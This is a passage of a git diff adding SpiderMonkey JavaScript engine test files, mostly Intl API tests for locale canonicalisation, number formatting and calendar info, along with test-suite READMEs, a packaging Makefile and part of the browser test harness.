+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-GY",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-SZ",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-POSIX",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "eu",
+ "eu-ES",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "ff",
+ "ff-SN",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GF",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "fr-YT",
+ "ga",
+ "ga-IE",
+ "gl",
+ "gl-ES",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-Cyrl",
+ "kk-Cyrl-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "rm",
+ "rm-CH",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-HK",
+ "zh-Hans-MO",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+var count = Intl.NumberFormat.supportedLocalesOf(locales).length;
+
+reportCompare(locales.length, count, "Number of supported locales in Intl.NumberFormat");
diff --git a/js/src/tests/Intl/README.txt b/js/src/tests/Intl/README.txt
new file mode 100644
index 000000000..797b49ab5
--- /dev/null
+++ b/js/src/tests/Intl/README.txt
@@ -0,0 +1,27 @@
+Integration Tests for ECMAScript Internationalization API
+=========================================================
+
+The tests in this directory test the integration of the ICU library
+(Internationalization Components for Unicode) into the implementation of the
+ECMAScript Internationalization API in SpiderMonkey.
+
+These integration tests are complementary to:
+
+- The Test402 test suite maintained by Ecma TC39, which tests conformance of
+ an implementation to standard ECMA-402, ECMAScript Internationalization API
+ Specification. Test402 is currently maintained as part of Test262, the overall
+ conformance test suite for ECMAScript; for more information, see
+ http://wiki.ecmascript.org/doku.php?id=test262:test262
+
+- The test suite of the ICU library, which tests the implementation of ICU
+ itself and correct interpretation of the locale data it obtains from CLDR
+ (Common Locale Data Repository). For information on ICU, see
+ http://site.icu-project.org
+
+The integration tests check for a variety of locales and options whether the
+results are localized in a way that indicates correct integration with ICU.
+Such tests are somewhat fragile because the underlying locale data reflects
+real world usage and is therefore subject to change. When the ICU library used
+by Mozilla is upgraded, it is likely that some of the integration tests will
+fail because of locale data changes; however, others might fail because of
+actual software bugs. Failures therefore have to be examined carefully.
diff --git a/js/src/tests/Intl/TypedArray/shell.js b/js/src/tests/Intl/TypedArray/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/TypedArray/shell.js
diff --git a/js/src/tests/Intl/TypedArray/toLocaleString.js b/js/src/tests/Intl/TypedArray/toLocaleString.js
new file mode 100644
index 000000000..7a5d0be30
--- /dev/null
+++ b/js/src/tests/Intl/TypedArray/toLocaleString.js
@@ -0,0 +1,103 @@
+if (typeof Intl === "object") {
+ const constructors = [
+ Int8Array,
+ Uint8Array,
+ Uint8ClampedArray,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ ];
+
+ const localeSep = [,,].toLocaleString();
+
+ const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+ // Missing arguments are passed as |undefined|.
+ for (let constructor of constructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], undefined);
+ assertEq(arguments[1], undefined);
+ return "pass";
+ };
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ // Missing options is passed as |undefined|.
+ for (let constructor of constructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], locales);
+ assertEq(arguments[1], undefined);
+ return "pass";
+ };
+ let locales = {};
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(locales), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(locales), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ // Ensure "locales" and "options" arguments are passed to the array elements.
+ for (let constructor of constructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], locales);
+ assertEq(arguments[1], options);
+ return "pass";
+ };
+ let locales = {};
+ let options = {};
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(locales, options), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(locales, options), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ assertEq(new Float32Array([NaN]).toLocaleString("ar"), "ليس رقم");
+ assertEq(new Float64Array([NaN]).toLocaleString(["zh-hant", "ar"]), "非數值");
+ assertEq(new Float32Array([Infinity]).toLocaleString(["dz"]), "གྲངས་མེད");
+ assertEq(new Float64Array([-Infinity]).toLocaleString(["fr", "en"]), "-∞");
+
+ const sampleValues = [-0, +0, -1, +1, -2, +2, -0.5, +0.5];
+ const sampleLocales = [
+ void 0,
+ "en",
+ "th-th-u-nu-thai",
+ ["tlh", "de"],
+ ];
+ const sampleOptions = [
+ void 0,
+ {},
+ {style: "percent"},
+ {style: "currency", currency: "USD", minimumIntegerDigits: 4},
+ ];
+ for (let locale of sampleLocales) {
+ for (let options of sampleOptions) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let constructor of constructors) {
+ let typedArray = new constructor(sampleValues);
+ let expected = [].map.call(typedArray, nf.format).join(localeSep);
+ assertEq(typedArray.toLocaleString(locale, options), expected);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/Intl/browser.js b/js/src/tests/Intl/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/browser.js
diff --git a/js/src/tests/Intl/extensions/browser.js b/js/src/tests/Intl/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/extensions/browser.js
diff --git a/js/src/tests/Intl/extensions/options-value-emulates-undefined.js b/js/src/tests/Intl/extensions/options-value-emulates-undefined.js
new file mode 100644
index 000000000..a154e0c37
--- /dev/null
+++ b/js/src/tests/Intl/extensions/options-value-emulates-undefined.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 843004;
+var summary =
+ "Use of an object that emulates |undefined| as the sole option must " +
+ "preclude imputing default values";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof Intl !== 'object' && typeof quit == 'function') {
+ print("Test skipped");
+ reportCompare(true, true);
+ quit(0);
+}
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var opt = objectEmulatingUndefined();
+opt.toString = function() { return "long"; };
+
+var str = new Date(2013, 12 - 1, 14).toLocaleString("en-US", { weekday: opt });
+
+// Because "weekday" was present and not undefined (stringifying to "long"),
+// this must be a string like "Saturday" (in this implementation, that is).
+assertEq(str, "Saturday");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/Intl/extensions/shell.js b/js/src/tests/Intl/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/extensions/shell.js
diff --git a/js/src/tests/Intl/four-letter-language-codes.js b/js/src/tests/Intl/four-letter-language-codes.js
new file mode 100644
index 000000000..b92b4c3e1
--- /dev/null
+++ b/js/src/tests/Intl/four-letter-language-codes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// So many non-existent four letter language codes to pick from.
+const languageTags = {
+ "Flob": "flob",
+ "ZORK": "zork",
+ "Blah-latn": "blah-Latn",
+ "QuuX-latn-us": "quux-Latn-US",
+ "SPAM-gb-x-Sausages-BACON-eggs": "spam-GB-x-sausages-bacon-eggs",
+};
+
+for (let [tag, canonical] of Object.entries(languageTags)) {
+ assertEq(Intl.getCanonicalLocales(tag)[0], canonical);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/Intl/getCalendarInfo.js b/js/src/tests/Intl/getCalendarInfo.js
new file mode 100644
index 000000000..951fd820e
--- /dev/null
+++ b/js/src/tests/Intl/getCalendarInfo.js
@@ -0,0 +1,83 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||!this.hasOwnProperty("addIntlExtras"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCalendarInfo function with a diverse set of arguments.
+
+function checkCalendarInfo(info, expected)
+{
+ assertEq(Object.getPrototypeOf(info), Object.prototype);
+
+ assertEq(info.firstDayOfWeek, expected.firstDayOfWeek);
+ assertEq(info.minDays, expected.minDays);
+ assertEq(info.weekendStart, expected.weekendStart);
+ assertEq(info.weekendEnd, expected.weekendEnd);
+ assertEq(info.calendar, expected.calendar);
+ assertEq(info.locale, expected.locale);
+}
+
+addIntlExtras(Intl);
+
+let gCI = Intl.getCalendarInfo;
+
+assertEq(gCI.length, 1);
+
+checkCalendarInfo(gCI('en-US'), {
+ firstDayOfWeek: 1,
+ minDays: 1,
+ weekendStart: 7,
+ weekendEnd: 1,
+ calendar: "gregory",
+ locale: "en-US"
+});
+
+checkCalendarInfo(gCI('en-IL'), {
+ firstDayOfWeek: 1,
+ minDays: 1,
+ weekendStart: 6,
+ weekendEnd: 7,
+ calendar: "gregory",
+ locale: "en-IL"
+});
+
+
+checkCalendarInfo(gCI('en-GB'), {
+ firstDayOfWeek: 2,
+ minDays: 4,
+ weekendStart: 7,
+ weekendEnd: 1,
+ calendar: "gregory",
+ locale: "en-GB"
+});
+
+
+checkCalendarInfo(gCI('pl'), {
+ firstDayOfWeek: 2,
+ minDays: 4,
+ weekendStart: 7,
+ weekendEnd: 1,
+ calendar: "gregory",
+ locale: "pl"
+});
+
+checkCalendarInfo(gCI('ar-IQ'), {
+ firstDayOfWeek: 7,
+ minDays: 1,
+ weekendStart: 6,
+ weekendEnd: 7,
+ calendar: "gregory",
+ locale: "ar-IQ"
+});
+
+checkCalendarInfo(gCI('fa-IR'), {
+ firstDayOfWeek: 7,
+ minDays: 1,
+ weekendStart: 6,
+ weekendEnd: 6,
+ calendar: "persian",
+ locale: "fa-IR"
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/Intl/getCanonicalLocales-overridden-arg-length.js b/js/src/tests/Intl/getCanonicalLocales-overridden-arg-length.js
new file mode 100644
index 000000000..f0cb3d4ee
--- /dev/null
+++ b/js/src/tests/Intl/getCanonicalLocales-overridden-arg-length.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for overridden argument's length.
+
+var count = 0;
+var locs = { get length() { if (count++ > 0) throw 42; return 0; } };
+var locales = Intl.getCanonicalLocales(locs); // shouldn't throw 42
+assertEq(locales.length, 0);
+
+
+var obj = { get 0() { throw new Error("must not be gotten!"); },
+ length: -Math.pow(2, 32) + 1 };
+
+assertEq(Intl.getCanonicalLocales(obj).length, 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/Intl/getCanonicalLocales-overridden-push.js b/js/src/tests/Intl/getCanonicalLocales-overridden-push.js
new file mode 100644
index 000000000..36f53ebf0
--- /dev/null
+++ b/js/src/tests/Intl/getCanonicalLocales-overridden-push.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for overriden Array.push.
+
+Array.prototype.push = () => { throw 42; };
+
+// must not throw 42, might if push is used
+var arr = Intl.getCanonicalLocales(["en-US"]);
+
+assertEqArray(arr, ["en-US"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/Intl/getCanonicalLocales-overridden-set.js b/js/src/tests/Intl/getCanonicalLocales-overridden-set.js
new file mode 100644
index 000000000..396f3a948
--- /dev/null
+++ b/js/src/tests/Intl/getCanonicalLocales-overridden-set.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for overridden set().
+
+Object.defineProperty(Array.prototype, 0, { set() { throw 42; } });
+
+// must not throw 42, might if push is used
+var arr = Intl.getCanonicalLocales(["en-US"]);
+
+assertEqArray(arr, ["en-US"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/Intl/getCanonicalLocales-weird-cases.js b/js/src/tests/Intl/getCanonicalLocales-weird-cases.js
new file mode 100644
index 000000000..b933eb030
--- /dev/null
+++ b/js/src/tests/Intl/getCanonicalLocales-weird-cases.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Locale processing is supposed to internally remove any Unicode extension
+// sequences in the locale. Test that various weird testcases invoking
+// algorithmic edge cases don't assert or throw exceptions.
+
+var weirdCases =
+ [
+ "x-u-foo",
+ "en-x-u-foo",
+ "en-a-bar-x-u-foo",
+ "en-x-u-foo-a-bar",
+ "en-a-bar-u-baz-x-u-foo",
+ ];
+
+for (let weird of weirdCases)
+ assertEqArray(Intl.getCanonicalLocales(weird), [weird]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/Intl/getCanonicalLocales-with-duplicates.js b/js/src/tests/Intl/getCanonicalLocales-with-duplicates.js
new file mode 100644
index 000000000..c02956948
--- /dev/null
+++ b/js/src/tests/Intl/getCanonicalLocales-with-duplicates.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for duplicate locales scenario.
+
+assertEqArray(Intl.getCanonicalLocales(['ab-cd', 'ff', 'de-rt', 'ab-Cd']),
+ ['ab-CD', 'ff', 'de-RT']);
+
+var locales = Intl.getCanonicalLocales(["en-US", "en-US"]);
+assertEqArray(locales, ['en-US']);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/Intl/getCanonicalLocales.js b/js/src/tests/Intl/getCanonicalLocales.js
new file mode 100644
index 000000000..153188160
--- /dev/null
+++ b/js/src/tests/Intl/getCanonicalLocales.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function with a diverse set of arguments.
+
+let gCL = Intl.getCanonicalLocales;
+
+assertEq(Intl.getCanonicalLocales.length, 1);
+
+assertEqArray(gCL(), []);
+
+assertEqArray(gCL('ab-cd'), ['ab-CD']);
+
+assertEqArray(gCL(['ab-cd']), ['ab-CD']);
+
+assertEqArray(gCL(['ab-cd', 'FF']), ['ab-CD', 'ff']);
+
+assertEqArray(gCL({'a': 0}), []);
+
+assertEqArray(gCL({}), []);
+
+assertEqArray(gCL(['ar-ma-u-ca-islamicc']), ['ar-MA-u-ca-islamicc']);
+
+assertEqArray(gCL(['th-th-u-nu-thai']), ['th-TH-u-nu-thai']);
+
+assertEqArray(gCL(NaN), []);
+
+assertEqArray(gCL(1), []);
+
+Number.prototype[0] = "en-US";
+Number.prototype.length = 1;
+assertEqArray(gCL(NaN), ["en-US"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/Intl/shell.js b/js/src/tests/Intl/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/shell.js
diff --git a/js/src/tests/Makefile.in b/js/src/tests/Makefile.in
new file mode 100644
index 000000000..ad4181b6e
--- /dev/null
+++ b/js/src/tests/Makefile.in
@@ -0,0 +1,44 @@
+# vim: set shiftwidth=8 tabstop=8 autoindent noexpandtab copyindent:
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+include $(topsrcdir)/config/rules.mk
+
+# test files to be packaged.
+TEST_FILES = \
+ jsreftest.html \
+ shell.js \
+ browser.js \
+ js-test-driver-end.js \
+ user.js \
+ ecma/ \
+ ecma_2/ \
+ ecma_3/ \
+ ecma_3_1/ \
+ ecma_5/ \
+ ecma_6/ \
+ ecma_7/ \
+ ecma_2017/ \
+ Intl/ \
+ js1_1/ \
+ js1_2/ \
+ js1_3/ \
+ js1_4/ \
+ js1_5/ \
+ js1_6/ \
+ js1_7/ \
+ js1_8/ \
+ js1_8_1/ \
+ js1_8_5/ \
+ shell/ \
+ test262/ \
+ $(NULL)
+
+PKG_STAGE = $(DIST)/test-stage
+
+# stage tests for packaging
+stage-package:
+ $(NSINSTALL) -D $(PKG_STAGE)/jsreftest/tests
+ (cd $(srcdir) && tar $(TAR_CREATE_FLAGS) - $(TEST_FILES)) | (cd $(PKG_STAGE)/jsreftest/tests && tar -xf -)
+ $(PYTHON) $(srcdir)/jstests.py --make-manifests $(PKG_STAGE)/jsreftest/tests/
diff --git a/js/src/tests/README.txt b/js/src/tests/README.txt
new file mode 100644
index 000000000..2e6774c85
--- /dev/null
+++ b/js/src/tests/README.txt
@@ -0,0 +1,54 @@
+JS Test Suite Readme
+====================
+
+The JS test suite is a fairly extensive collection of correctness and regression
+tests for the Spidermonkey engine. Two harnesses run these tests: the shell test
+harness in this directory and the "reftest" harness built into the browser, used
+by Tinderbox. The browser reftests require additional manifest files; these are
+generated automatically by the build phase 'package-tests' using the
+'--make-manifests' option to jstests.py.
+
+Creating a test
+---------------
+For general information, see
+https://developer.mozilla.org/en-US/docs/SpiderMonkey/Creating_JavaScript_tests
+
+Adding a test
+-------------
+ Drop it in an appropriate directory under the tests directory.
+
+ <fineprint> Some names are forbidden. Do not name your test browser.js,
+ shell.js, template.js, user.js, js-test-driver-begin.js, or
+ js-test-driver-end.js, or any of the names of the files in supporting/.
+ </fineprint>
+
+Adjusting when and how a test runs
+----------------------------------
+ Put a comment at the top of the header matching the format:
+ // |reftest| <failure-type> -- <comment>
+
+ Where <failure-type> is a standard reftest <failure-type> string, as documented by:
+ http://dxr.mozilla.org/mozilla-central/source/layout/tools/reftest/README.txt
+
+ Example:
+ // |reftest| skip-if(!xulRuntime.shell) -- does not always dismiss alert
+
+ <fineprint> Either // or /* */ style comments may be used. The entire
+ comment must appear in the first 512 bytes of the file. The control
+ string must be in its own comment block. </fineprint>
+
+ When adding such comments to individual files is not feasible (e.g., for
+ imported tests), reftest manifest entries can be added to jstests.list
+ instead. Combining in-file comments with entries in this manifest file for
+ the same files is not supported (the one from the manifest file will be
+ used). Only the following two forms are supported:
+ <failure-type> include <relative_path>
+ <failure-type> script <relative_path>
+ The <type> "include" indicates that <failure-type> should apply to all test
+ cases within a directory. A statement for a nested directory or script
+ overrides one for an enclosing directory.
+
+Running tests
+-------------
+See
+https://developer.mozilla.org/en-US/docs/SpiderMonkey/Running_Automated_JavaScript_Tests
diff --git a/js/src/tests/browser.js b/js/src/tests/browser.js
new file mode 100644
index 000000000..91ee22f3d
--- /dev/null
+++ b/js/src/tests/browser.js
@@ -0,0 +1,601 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// NOTE: If you're adding new test harness functionality to this file -- first,
+// should you at all? Most stuff is better in specific tests, or in
+// nested shell.js/browser.js. Second, can you instead add it to
+// shell.js? Our goal is to unify these two files for readability, and
+// the plan is to empty out this file into that one over time. Third,
+// supposing you must add to this file, please add it to this IIFE for
+// better modularity/resilience against tests that must do particularly
+// bizarre things that might break the harness.
+
+(function(global) {
+ /**********************************************************************
+ * CACHED PRIMORDIAL FUNCTIONALITY (before a test might overwrite it) *
+ **********************************************************************/
+
+ var ReflectApply = global.Reflect.apply;
+
+ // BEWARE: ObjectGetOwnPropertyDescriptor is only safe to use if its result
+ // is inspected using own-property-examining functionality. Directly
+ // accessing properties on a returned descriptor without first
+ // verifying the property's existence can invoke user-modifiable
+ // behavior.
+ var ObjectGetOwnPropertyDescriptor = global.Object.getOwnPropertyDescriptor;
+
+ var document = global.document;
+ var documentBody = global.document.body;
+ var documentDocumentElement = global.document.documentElement;
+ var DocumentCreateElement = global.document.createElement;
+ var ElementInnerHTMLSetter =
+ ObjectGetOwnPropertyDescriptor(global.Element.prototype, "innerHTML").set;
+ var HTMLIFramePrototypeContentWindowGetter =
+ ObjectGetOwnPropertyDescriptor(global.HTMLIFrameElement.prototype, "contentWindow").get;
+ var HTMLIFramePrototypeRemove = global.HTMLIFrameElement.prototype.remove;
+ var NodePrototypeAppendChild = global.Node.prototype.appendChild;
+ var NodePrototypeTextContentSetter =
+ ObjectGetOwnPropertyDescriptor(global.Node.prototype, "textContent").set;
+
+ // Cached DOM nodes used by the test harness itself. (We assume the test
+ // doesn't misbehave in a way that actively interferes with what the test
+ // harness runner observes, e.g. navigating the page to a different location.
+ // Short of running every test in a worker -- which has its own problems --
+ // there's no way to isolate a test from the page to that extent.)
+ var printOutputContainer =
+ global.document.getElementById("jsreftest-print-output-container");
+
+ /****************************
+ * GENERAL HELPER FUNCTIONS *
+ ****************************/
+
+ function AppendChild(elt, kid) {
+ ReflectApply(NodePrototypeAppendChild, elt, [kid]);
+ }
+
+ function CreateElement(name) {
+ return ReflectApply(DocumentCreateElement, document, [name]);
+ }
+
+ function HTMLSetAttribute(element, name, value) {
+ ReflectApply(HTMLElementPrototypeSetAttribute, element, [name, value]);
+ }
+
+ function SetTextContent(element, text) {
+ ReflectApply(NodePrototypeTextContentSetter, element, [text]);
+ }
+
+ /****************************
+ * UTILITY FUNCTION EXPORTS *
+ ****************************/
+
+ var newGlobal = global.newGlobal;
+ if (typeof newGlobal !== "function") {
+ newGlobal = function newGlobal() {
+ var iframe = CreateElement("iframe");
+ AppendChild(documentDocumentElement, iframe);
+ var win =
+ ReflectApply(HTMLIFramePrototypeContentWindowGetter, iframe, []);
+ ReflectApply(HTMLIFramePrototypeRemove, iframe, []);
+
+ // Shim in "evaluate"
+ win.evaluate = win.eval;
+ return win;
+ };
+ global.newGlobal = newGlobal;
+ }
+
+ // This function is *only* used by shell.js's for-browsers |print()| function!
+ // It's only defined/exported here because it needs CreateElement and friends,
+ // only defined here, and we're not yet ready to move them to shell.js.
+ function AddPrintOutput(s) {
+ var msgDiv = CreateElement("div");
+ SetTextContent(msgDiv, s);
+ AppendChild(printOutputContainer, msgDiv);
+ }
+ global.AddPrintOutput = AddPrintOutput;
+
+ /*************************************************************************
+ * HARNESS-CENTRIC EXPORTS (we should generally work to eliminate these) *
+ *************************************************************************/
+
+ // This overwrites shell.js's version that merely prints the given string.
+ function writeHeaderToLog(string) {
+ string = String(string);
+
+ // First dump to the console.
+ dump(string + "\n");
+
+ // Then output to the page.
+ var h2 = CreateElement("h2");
+ SetTextContent(h2, string);
+ AppendChild(printOutputContainer, h2);
+ }
+ global.writeHeaderToLog = writeHeaderToLog;
+
+ // XXX This function overwrites one in shell.js. We should define the
+ // separate versions in a single location. Also the dependence on
+ // |global.{PASSED,FAILED}| is very silly.
+ function writeFormattedResult(expect, actual, string, passed) {
+ // XXX remove this? it's unneeded in the shell version
+ string = String(string);
+
+ dump(string + "\n");
+
+ var font = CreateElement("font");
+ if (passed) {
+ HTMLSetAttribute(font, "color", "#009900");
+ SetTextContent(font, " \u00A0" + global.PASSED);
+ } else {
+ HTMLSetAttribute(font, "color", "#aa0000");
+ SetTextContent(font, "\u00A0" + global.FAILED + expect);
+ }
+
+ var b = CreateElement("b");
+ AppendChild(b, font);
+
+ var tt = CreateElement("tt");
+ SetTextContent(tt, string);
+ AppendChild(tt, b);
+
+ AppendChild(printOutputContainer, tt);
+ AppendChild(printOutputContainer, CreateElement("br"));
+ }
+ global.writeFormattedResult = writeFormattedResult;
+})(this);
+
+
+var gPageCompleted;
+var GLOBAL = this + '';
+
+// Variables local to jstests harness.
